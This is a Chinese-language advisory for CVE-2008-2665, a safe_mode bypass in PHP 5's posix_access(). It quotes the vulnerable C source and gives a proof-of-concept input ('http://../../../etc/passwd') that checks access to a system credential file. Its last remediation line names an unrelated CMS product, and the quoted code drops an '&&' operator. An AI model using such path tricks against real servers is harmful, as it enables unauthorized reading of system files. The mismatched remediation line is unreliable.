CVE:CVE-2008-2665
CNNVD:CNNVD-200806-287
PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。
PHP 5的posix_access()函数在处理用户数据时存在漏洞，远程攻击者可能利用此漏洞绕过检查过滤。
在PHP的posix_access()函数中：
- ---
PHP_FUNCTION(posix_access)
{
long mode = 0;
int filename_len, ret;
char *filename, *path;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &filename, &filename_len, &mode) == FAILURE) {RETURN_FALSE;
}
path = expand_filepath(filename, NULL TSRMLS_CC);
if (!path) {
POSIX_G(last_error) = EIO;
RETURN_FALSE;
}
if (php_check_open_basedir_ex(path, 0 TSRMLS_CC) ||
(PG(safe_mode)  (!php_checkuid_ex(filename, NULL, CHECKUID_CHECK_FILE_AND_DIR, CHECKUID_NO_ERRORS)))) {efree(path);
POSIX_G(last_error) = EPERM;
RETURN_FALSE;
}
ret = access(path, mode);
efree(path);
if (ret) {
POSIX_G(last_error) = errno;
RETURN_FALSE;
}
RETURN_TRUE;
}
- ---
var_dump(posix_access("http://../../../etc/passwd"))==True
var_dump(posix_access("/etc/passwd"))==False
path = expand_filepath(filename, NULL TSRMLS_CC);会将http://../../../etc/passwd 更改为path=/etc/passwd，(PG(safe_mode) && (!php_checkuid_ex(filename, NULL, CHECKUID_CHECK_FILE_AND_DIR, CHECKUID_NO_ERRORS)))会检查真实的路径http://../../../etc/passwd，php_checkuid_ex() 中使用了http:// ，因此就绕过了safe_mode限制。
。
solution:Upgrade php php to a higher version than 5.2.6,and avoid the version 5.2.6
solution:Upgrade azimyt open_azimyt_cms to a higher version than 0.21_stable,0.22_minimal,and avoid the version 0.21_stable,0.22_minimal